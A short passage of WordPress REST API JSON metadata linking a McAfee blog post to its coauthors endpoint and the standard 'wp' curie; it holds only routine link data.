taxonomy":"author","embeddable":true,"href":"https:\/\/www.mcafee.com\/blogs\/wp-json\/wp\/v2\/coauthors?post=8971"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}